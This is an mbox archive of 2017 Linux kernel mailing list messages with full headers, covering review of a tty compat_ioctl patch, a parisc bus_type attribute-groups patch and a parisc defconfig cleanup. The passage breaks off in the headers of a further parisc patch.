Xref: news.gmane.org gmane.linux.ports.parisc:27466 gmane.linux.kernel:2493029 gmane.linux.ports.alpha:4233 gmane.linux.ports.mips.general:59435 gmane.linux.ports.ppc64.devel:142923 gmane.linux.ports.sh.devel:55381 gmane.linux.ports.sparc:25350 gmane.linux.kernel.cross-arch:37007
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27466>

On Tue, Jun 6, 2017 at 1:05 PM, Aleksa Sarai <asarai@suse.de> wrote:
>>> diff --git a/drivers/tty/pty.c b/drivers/tty/pty.c
>>> index 65799575c666..2a6bd9ae3f8b 100644
>>> --- a/drivers/tty/pty.c
>>> +++ b/drivers/tty/pty.c
>>> @@ -481,6 +481,16 @@ static int pty_bsd_ioctl(struct tty_struct *tty,
>>>          return -ENOIOCTLCMD;
>>>   }
>>>
>>> +static long pty_bsd_compat_ioctl(struct tty_struct *tty,
>>> +                                unsigned int cmd, unsigned long arg)
>>> +{
>>> +       /*
>>> +        * PTY ioctls don't require any special translation between
>>> 32-bit and
>>> +        * 64-bit userspace, they are already compatible.
>>> +        */
>>> +       return pty_bsd_ioctl(tty, cmd, arg);
>>> +}
>>> +
>>
>>
>> This looks correct but unnecessary, you can simply point both
>> function pointers to the same function:
>
>
> They have different types, since they have different return types:
>
> int  (*ioctl)(struct tty_struct *tty,
>             unsigned int cmd, unsigned long arg);
> long (*compat_ioctl)(struct tty_struct *tty,
>                      unsigned int cmd, unsigned long arg);
>
> If you like, I can change (*ioctl) to return longs as well, and then change
> all of the call-sites (since unlocked_ioctl also returns long).

Ah, my mistake. In most other data structures that have a compat_ioctl
callback pointer, the prototypes are the same, and I had not realized
that tty_operations is an exception.

        Arnd
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v4 1/2] tty: add compat_ioctl callbacks
Date: Tue, 6 Jun 2017 14:49:15 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <CAK8P3a2Y2U58dfAxRYPKQL2-o8ufpkvxxF07c_LCr5DOuQ4=vw@mail.gmail.com>
References: <20170603141515.9529-1-asarai@suse.de> <20170603141515.9529-2-asarai@suse.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
X-Trace: blaine.gmane.org 1496753360 22843 195.159.176.226 (6 Jun 2017 12:49:20 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Jun 2017 12:49:20 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        Jiri Slaby <jslaby@suse.com>,
        Linux Kernel Mailing List <linux-kernel@vger.kernel.org>,
        linux-alpha@vger.kernel.org,
        "open list:RALINK MIPS ARCHITECTURE" <linux-mips@linux-mips.org>,
        Parisc List <linux-parisc@vger.kernel.org>,
        linuxppc-dev <linuxppc-dev@lists.ozlabs.org>,
        linux-sh@vger.kernel.org, sparclinux <sparclinux@vger.kernel.org>,
        linux-xtensa@linux-xtensa.org,
        linux-arch <linux-arch@vger.kernel.org>,
        Christian Brauner <christian.brauner@ubuntu.com>,
        Valentin Rothberg <vrothberg@suse.com>
To: Aleksa Sarai <asarai@suse.de>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 06 14:49:13 2017
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-sh-owner@vger.kernel.org>)
	id 1dIDv7-0003lH-5L
	for glps-linuxsh-dev@m.gmane.org; Tue, 06 Jun 2017 14:49:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751564AbdFFMtS (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
        Tue, 6 Jun 2017 08:49:18 -0400
Original-Received: from mail-ot0-f196.google.com ([74.125.82.196]:36144 "EHLO
        mail-ot0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751499AbdFFMtR (ORCPT
        <rfc822;linux-sh@vger.kernel.org>); Tue, 6 Jun 2017 08:49:17 -0400
Original-Received: by mail-ot0-f196.google.com with SMTP id i31so1969048ota.3;
        Tue, 06 Jun 2017 05:49:16 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=mime-version:sender:in-reply-to:references:from:date:message-id
         :subject:to:cc;
        bh=VVGCrzYPYNl9UnSdgl6LGh57Dw+RALCxW2eBYRlY1JU=;
        b=FeGBj3GbM3i1R2sZYlf4dzWOD+GICdaqL4tjkq273zawHxchklogR6ffmhPYKGRTaW
         Gi4qU0mFf8hYuwZbxQzcVOshlY4ZNYVB5yzMyJG2iaE9/lbl2be4nw/OioOftyezru2/
         pUJAM7+9LQUXRMC7ttl1CQZkrFvgZnbOVRknzAShfBiPLSNQfpcNU4TVvEgs2T9DkxCV
         Xi1m7TPgbqf6jRF8swLn7V17IrQ2z4LuWBbSuCi3JQYiy+tqhJiCPwZXWCSQgjX0b88X
         wGUmK5kZ+OyERwyk8rCMXCXE20bFXKDU4wIdcV1Yucs1eKweO6SkZYcu2qvsxr3QDSBK
         vgPg==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:from
         :date:message-id:subject:to:cc;
        bh=VVGCrzYPYNl9UnSdgl6LGh57Dw+RALCxW2eBYRlY1JU=;
        b=K7NNFshjmsyAx9SU31kpfxlrXM+ef0VCw8xAeCtVZT/FBU34jC5+HWfmWQqxACI+vW
         pWIXDecfsjScJuhS69Tv+DK3qKU8AK/x7uWNFvbycJzmiPr7UKto0XRr/B2NCTP9CHQi
         evwEWEH+b5Lshmm2kFNkw29LTVQSDL/l5+6Mbxmk4DWUCkcSuq22AF3K+3iCLUs/OoYw
         prjdQGc0DhHb1K5TxgvAVG8DrHbQFLyqKNhx+t2wz/2lp0+xt+sACQUKazEcgGI5d7pi
         3EiOO9FNcuAlDYyWfb/WusVzi8QB7yqX34j85yB7ALWRgBVWRRKasK41x0hCde2tt8Lu
         IRkA==
X-Gm-Message-State: AODbwcAae/TvYy2IVqVEENlImqZBDvqqRCwn3p9gk1rgiyK8ejz55q/i
        EbMYxoeQA7iXuhpR+An6ljn7TCpS2w==
X-Received: by 10.157.50.11 with SMTP id t11mr15432476otc.217.1496753355924;
 Tue, 06 Jun 2017 05:49:15 -0700 (PDT)
Original-Received: by 10.157.51.139 with HTTP; Tue, 6 Jun 2017 05:49:15 -0700 (PDT)
In-Reply-To: <20170603141515.9529-2-asarai@suse.de>
X-Google-Sender-Auth: AIGo9HK52MW2xusMwko77acbauY
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:55382 gmane.linux.kernel:2493032 gmane.linux.ports.alpha:4234 gmane.linux.ports.mips.general:59436 gmane.linux.ports.parisc:27467 gmane.linux.ports.ppc64.devel:142924 gmane.linux.ports.sparc:25351 gmane.linux.kernel.cross-arch:37008
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.sh.devel/55382>

On Sat, Jun 3, 2017 at 4:15 PM, Aleksa Sarai <asarai@suse.de> wrote:
> In order to avoid future diversions between fs/compat_ioctl.c and
> drivers/tty/pty.c, define .compat_ioctl callbacks for the relevant
> tty_operations structs. Since both pty_unix98_ioctl() and
> pty_bsd_ioctl() are compatible between 32-bit and 64-bit userspace no
> special translation is required.
>
> Signed-off-by: Aleksa Sarai <asarai@suse.de>

Looks good,

Reviewed-by: Arnd Bergmann <arnd@arndb.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 03/16] parisc: parisc_bus_type: use dev_groups and not dev_attrs for bus_type
Date: Tue,  6 Jun 2017 21:22:08 +0200
Lines: 70
Approved: news@gmane.org
Message-ID: <20170606192221.1617-4-gregkh@linuxfoundation.org>
References: <20170606192221.1617-1-gregkh@linuxfoundation.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496777096 12032 195.159.176.226 (6 Jun 2017 19:24:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 6 Jun 2017 19:24:56 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>,
        Bart Van Assche <bart.vanassche@sandisk.com>,
        Doug Ledford <dledford@redhat.com>,
        linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 06 21:24:50 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dIK5x-0002cU-8M
	for glpp-linux-parisc@m.gmane.org; Tue, 06 Jun 2017 21:24:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751963AbdFFTYy (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 6 Jun 2017 15:24:54 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:33826 "EHLO
        mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751952AbdFFTYw (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 6 Jun 2017 15:24:52 -0400
Original-Received: from localhost (LFbn-1-12060-104.w90-92.abo.wanadoo.fr [90.92.122.104])
        by mail.linuxfoundation.org (Postfix) with ESMTPSA id 59C38B7C;
        Tue,  6 Jun 2017 19:24:51 +0000 (UTC)
X-Mailer: git-send-email 2.13.0
In-Reply-To: <20170606192221.1617-1-gregkh@linuxfoundation.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27468 gmane.linux.kernel:2493462
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27468>

The dev_attrs field has long been "depreciated" and is finally being
removed, so move the driver to use the "correct" dev_groups field
instead for struct bus_type.

Cc: "James E.J. Bottomley" <jejb@parisc-linux.org>
Cc: Helge Deller <deller@gmx.de>
Cc: Bart Van Assche <bart.vanassche@sandisk.com>
Cc: Doug Ledford <dledford@redhat.com>
Cc: <linux-parisc@vger.kernel.org>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
---
 arch/parisc/kernel/drivers.c | 23 +++++++++++++----------
 1 file changed, 13 insertions(+), 10 deletions(-)

diff --git a/arch/parisc/kernel/drivers.c b/arch/parisc/kernel/drivers.c
index fa78419100c8..d8f77358e2ba 100644
--- a/arch/parisc/kernel/drivers.c
+++ b/arch/parisc/kernel/drivers.c
@@ -575,7 +575,8 @@ static ssize_t name##_show(struct device *dev, struct device_attribute *attr, ch
 {									\
 	struct parisc_device *padev = to_parisc_device(dev);		\
 	return sprintf(buf, format_string, padev->field);		\
-}
+}									\
+static DEVICE_ATTR_RO(name);
 
 #define pa_dev_attr_id(field, format) pa_dev_attr(field, id.field, format)
 
@@ -589,22 +590,24 @@ static ssize_t modalias_show(struct device *dev, struct device_attribute *attr,
 {
 	return make_modalias(dev, buf);
 }
+static DEVICE_ATTR_RO(modalias);
 
-static struct device_attribute parisc_device_attrs[] = {
-	__ATTR_RO(irq),
-	__ATTR_RO(hw_type),
-	__ATTR_RO(rev),
-	__ATTR_RO(hversion),
-	__ATTR_RO(sversion),
-	__ATTR_RO(modalias),
-	__ATTR_NULL,
+static struct attribute *parisc_device_attrs[] = {
+	&dev_attr_irq.attr,
+	&dev_attr_hw_type.attr,
+	&dev_attr_rev.attr,
+	&dev_attr_hversion.attr,
+	&dev_attr_sversion.attr,
+	&dev_attr_modalias.attr,
+	NULL,
 };
+ATTRIBUTE_GROUPS(parisc_device);
 
 struct bus_type parisc_bus_type = {
 	.name = "parisc",
 	.match = parisc_generic_match,
 	.uevent = parisc_uevent,
-	.dev_attrs = parisc_device_attrs,
+	.dev_groups = parisc_device_groups,
 	.probe = parisc_driver_probe,
 	.remove = parisc_driver_remove,
 };
-- 
2.13.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Krzysztof Kozlowski <krzk@kernel.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 09/35] parisc: defconfig: Cleanup from old Kconfig options
Date: Thu,  8 Jun 2017 18:10:20 +0200
Lines: 240
Approved: news@gmane.org
Message-ID: <20170608161049.12421-9-krzk@kernel.org>
References: <20170608160836.12196-1-krzk@kernel.org>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1496938899 1944 195.159.176.226 (8 Jun 2017 16:21:39 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Jun 2017 16:21:39 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>,
        Krzysztof Kozlowski <krzk@kernel.org>,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: linux-kernel@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jun 08 18:21:35 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dJ0Bh-00007v-UW
	for glk-linux-kernel-3@m.gmane.org; Thu, 08 Jun 2017 18:21:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752271AbdFHQVg (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Thu, 8 Jun 2017 12:21:36 -0400
Original-Received: from mail.kernel.org ([198.145.29.99]:39018 "EHLO mail.kernel.org"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752043AbdFHQOJ (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
        Thu, 8 Jun 2017 12:14:09 -0400
Original-Received: from kozik-lap.dzcmts001-cpe-001.datazug.ch (pub082136089155.dh-hfc.datazug.ch [82.136.89.155])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by mail.kernel.org (Postfix) with ESMTPSA id 19F2B239EF;
        Thu,  8 Jun 2017 16:14:06 +0000 (UTC)
DMARC-Filter: OpenDMARC Filter v1.3.2 mail.kernel.org 19F2B239EF
Authentication-Results: mail.kernel.org; dmarc=none (p=none dis=none) header.from=kernel.org
Authentication-Results: mail.kernel.org; spf=none smtp.mailfrom=krzk@kernel.org
X-Mailer: git-send-email 2.9.3
In-Reply-To: <20170608160836.12196-1-krzk@kernel.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2495918 gmane.linux.ports.parisc:27469
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2495918>

Remove old, dead Kconfig options (in order appearing in this commit):
 - EXPERIMENTAL is gone since v3.9;
 - INET_LRO: commit 7bbf3cae65b6 ("ipv4: Remove inet_lro library");
 - IP_NF_QUEUE: commit 3dd6664fac7e ("netfilter: remove unused "config
   IP_NF_QUEUE"");
 - VIDEO_OUTPUT_CONTROL: commit f167a64e9d67 ("video / output: Drop
   display output class support");
 - RCU_CPU_STALL_DETECTOR: commit a00e0d714fbd ("rcu: Remove conditional
   compilation for RCU CPU stall warnings");
 - IP_NF_TARGET_ULOG: commit d4da843e6fad ("netfilter: kill remnants of
   ulog targets");
 - IP6_NF_TARGET_LOG: commit 6939c33a757b ("netfilter: merge ipt_LOG and
   ip6_LOG into xt_LOG");
 - AUTOFS_FS: commit 561c5cf9236a ("staging: Remove autofs3");

Signed-off-by: Krzysztof Kozlowski <krzk@kernel.org>
---
 arch/parisc/configs/712_defconfig           | 5 -----
 arch/parisc/configs/a500_defconfig          | 6 ------
 arch/parisc/configs/b180_defconfig          | 3 ---
 arch/parisc/configs/c3000_defconfig         | 5 -----
 arch/parisc/configs/default_defconfig       | 5 -----
 arch/parisc/configs/generic-32bit_defconfig | 2 --
 6 files changed, 26 deletions(-)

diff --git a/arch/parisc/configs/712_defconfig b/arch/parisc/configs/712_defconfig
index 143d02652792..493e03c2a219 100644
--- a/arch/parisc/configs/712_defconfig
+++ b/arch/parisc/configs/712_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_POSIX_MQUEUE=y
@@ -32,11 +31,9 @@ CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
-# CONFIG_INET_LRO is not set
 CONFIG_INET_DIAG=m
 # CONFIG_IPV6 is not set
 CONFIG_NETFILTER=y
-CONFIG_IP_NF_QUEUE=m
 CONFIG_LLC2=m
 CONFIG_NET_PKTGEN=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
@@ -94,7 +91,6 @@ CONFIG_PPDEV=m
 # CONFIG_HW_RANDOM is not set
 CONFIG_RAW_DRIVER=y
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FB_MODE_HELPERS=y
 CONFIG_FB_TILEBLITTING=y
@@ -181,7 +177,6 @@ CONFIG_MAGIC_SYSRQ=y
 CONFIG_DEBUG_FS=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_HMAC=y
diff --git a/arch/parisc/configs/a500_defconfig b/arch/parisc/configs/a500_defconfig
index 1a4f776b49b8..8d67e2373920 100644
--- a/arch/parisc/configs/a500_defconfig
+++ b/arch/parisc/configs/a500_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_POSIX_MQUEUE=y
@@ -43,21 +42,18 @@ CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
-# CONFIG_INET_LRO is not set
 CONFIG_INET6_AH=m
 CONFIG_INET6_ESP=m
 CONFIG_INET6_IPCOMP=m
 CONFIG_IPV6_TUNNEL=m
 CONFIG_NETFILTER=y
 # CONFIG_NETFILTER_XT_MATCH_DCCP is not set
-CONFIG_IP_NF_QUEUE=m
 CONFIG_IP_NF_IPTABLES=m
 CONFIG_IP_NF_MATCH_ECN=m
 CONFIG_IP_NF_MATCH_TTL=m
 CONFIG_IP_NF_FILTER=m
 CONFIG_IP_NF_TARGET_REJECT=m
 CONFIG_IP_NF_TARGET_LOG=m
-CONFIG_IP_NF_TARGET_ULOG=m
 CONFIG_IP_NF_MANGLE=m
 CONFIG_IP_NF_TARGET_ECN=m
 CONFIG_IP_NF_RAW=m
@@ -70,7 +66,6 @@ CONFIG_IP6_NF_MATCH_OPTS=m
 CONFIG_IP6_NF_MATCH_HL=m
 CONFIG_IP6_NF_MATCH_IPV6HEADER=m
 CONFIG_IP6_NF_MATCH_RT=m
-CONFIG_IP6_NF_TARGET_LOG=m
 CONFIG_IP6_NF_FILTER=m
 CONFIG_IP6_NF_TARGET_REJECT=m
 CONFIG_IP6_NF_MANGLE=m
@@ -192,7 +187,6 @@ CONFIG_DEBUG_FS=y
 CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
 # CONFIG_DEBUG_BUGVERBOSE is not set
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_HMAC=y
diff --git a/arch/parisc/configs/b180_defconfig b/arch/parisc/configs/b180_defconfig
index f1a0c25bef8d..0eca8208591c 100644
--- a/arch/parisc/configs/b180_defconfig
+++ b/arch/parisc/configs/b180_defconfig
@@ -25,7 +25,6 @@ CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
 CONFIG_IP_PNP_BOOTP=y
-# CONFIG_INET_LRO is not set
 CONFIG_IPV6=y
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
 CONFIG_DEVTMPFS=y
@@ -71,7 +70,6 @@ CONFIG_SERIAL_8250_SHARE_IRQ=y
 CONFIG_PRINTER=y
 # CONFIG_HW_RANDOM is not set
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FRAMEBUFFER_CONSOLE=y
 CONFIG_LOGO=y
@@ -105,6 +103,5 @@ CONFIG_NLS_UTF8=m
 CONFIG_MAGIC_SYSRQ=y
 CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_SECURITY=y
 # CONFIG_CRYPTO_ANSI_CPRNG is not set
diff --git a/arch/parisc/configs/c3000_defconfig b/arch/parisc/configs/c3000_defconfig
index 8e8f0e34f817..8337f5adf414 100644
--- a/arch/parisc/configs/c3000_defconfig
+++ b/arch/parisc/configs/c3000_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_IKCONFIG=y
@@ -31,13 +30,11 @@ CONFIG_INET=y
 CONFIG_IP_MULTICAST=y
 CONFIG_IP_PNP=y
 CONFIG_IP_PNP_BOOTP=y
-# CONFIG_INET_LRO is not set
 # CONFIG_INET_DIAG is not set
 CONFIG_INET6_IPCOMP=m
 CONFIG_IPV6_TUNNEL=m
 CONFIG_NETFILTER=y
 CONFIG_NETFILTER_DEBUG=y
-CONFIG_IP_NF_QUEUE=m
 CONFIG_NET_PKTGEN=m
 CONFIG_UEVENT_HELPER_PATH="/sbin/hotplug"
 CONFIG_DEVTMPFS=y
@@ -111,7 +108,6 @@ CONFIG_SERIAL_8250_SHARE_IRQ=y
 # CONFIG_HW_RANDOM is not set
 CONFIG_RAW_DRIVER=y
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FRAMEBUFFER_CONSOLE=y
 CONFIG_LOGO=y
@@ -165,7 +161,6 @@ CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
 # CONFIG_DEBUG_BUGVERBOSE is not set
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
 CONFIG_CRYPTO_MD5=m
diff --git a/arch/parisc/configs/default_defconfig b/arch/parisc/configs/default_defconfig
index 310b6657e4ac..e28e3acbdff3 100644
--- a/arch/parisc/configs/default_defconfig
+++ b/arch/parisc/configs/default_defconfig
@@ -1,4 +1,3 @@
-CONFIG_EXPERIMENTAL=y
 # CONFIG_LOCALVERSION_AUTO is not set
 CONFIG_SYSVIPC=y
 CONFIG_POSIX_MQUEUE=y
@@ -41,7 +40,6 @@ CONFIG_IP_PNP_DHCP=y
 CONFIG_IP_PNP_BOOTP=y
 CONFIG_INET_AH=m
 CONFIG_INET_ESP=m
-# CONFIG_INET_LRO is not set
 CONFIG_INET_DIAG=m
 CONFIG_IPV6=y
 CONFIG_INET6_AH=y
@@ -114,7 +112,6 @@ CONFIG_PRINTER=m
 CONFIG_PPDEV=m
 # CONFIG_HW_RANDOM is not set
 # CONFIG_HWMON is not set
-CONFIG_VIDEO_OUTPUT_CONTROL=m
 CONFIG_FB=y
 CONFIG_FB_MODE_HELPERS=y
 CONFIG_FB_TILEBLITTING=y
@@ -151,7 +148,6 @@ CONFIG_USB_UHCI_HCD=y
 CONFIG_EXT2_FS=y
 CONFIG_EXT3_FS=y
 # CONFIG_EXT3_FS_XATTR is not set
-CONFIG_AUTOFS_FS=y
 CONFIG_ISO9660_FS=y
 CONFIG_JOLIET=y
 CONFIG_VFAT_FS=y
@@ -209,7 +205,6 @@ CONFIG_DEBUG_FS=y
 CONFIG_HEADERS_CHECK=y
 CONFIG_DEBUG_KERNEL=y
 CONFIG_DEBUG_MUTEXES=y
-# CONFIG_RCU_CPU_STALL_DETECTOR is not set
 CONFIG_KEYS=y
 CONFIG_CRYPTO_NULL=m
 CONFIG_CRYPTO_TEST=m
diff --git a/arch/parisc/configs/generic-32bit_defconfig b/arch/parisc/configs/generic-32bit_defconfig
index 8688ba7f5966..80aa10a9016e 100644
--- a/arch/parisc/configs/generic-32bit_defconfig
+++ b/arch/parisc/configs/generic-32bit_defconfig
@@ -49,7 +49,6 @@ CONFIG_INET_ESP=m
 # CONFIG_INET_XFRM_MODE_TRANSPORT is not set
 # CONFIG_INET_XFRM_MODE_TUNNEL is not set
 # CONFIG_INET_XFRM_MODE_BEET is not set
-# CONFIG_INET_LRO is not set
 CONFIG_INET_DIAG=m
 CONFIG_LLC2=m
 # CONFIG_WIRELESS is not set
@@ -152,7 +151,6 @@ CONFIG_I2C=y
 CONFIG_POWER_SUPPLY=y
 # CONFIG_HWMON is not set
 CONFIG_AGP=y
-CONFIG_VIDEO_OUTPUT_CONTROL=y
 CONFIG_FB=y
 CONFIG_FB_FOREIGN_ENDIAN=y
 CONFIG_FB_MODE_HELPERS=y
-- 
2.9.3



From - Thu Nov 08 21:39:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Avoid zeroing register 0 in fixup_exception()
Date: Thu, 8 Jun 2017 22:06:54 +0200
Lines: 23
Approved: news@gmane.org
Message-ID: <20170608200654.GA26051@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1496952464 29340 195.159.176.226 (8 Jun 2017 20:07:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Thu, 8 Jun 2017 20:07:44 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 08 22:07:00 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dJ3hr-00059j-Hb
	for glpp-linux-parisc@m.gmane.org; Thu, 08 Jun 2017 22:06:59 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751522AbdFHUHF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Thu, 8 Jun 2017 16:07:05 -0400
Original-Received: from mout.gmx.net ([212.227.15.18]:52373 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751467AbdFHUHE (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Thu, 8 Jun 2017 16:07:04 -0400
Original-Received: from p100.box ([193.159.18.99]) by mail.gmx.com (mrgmx003
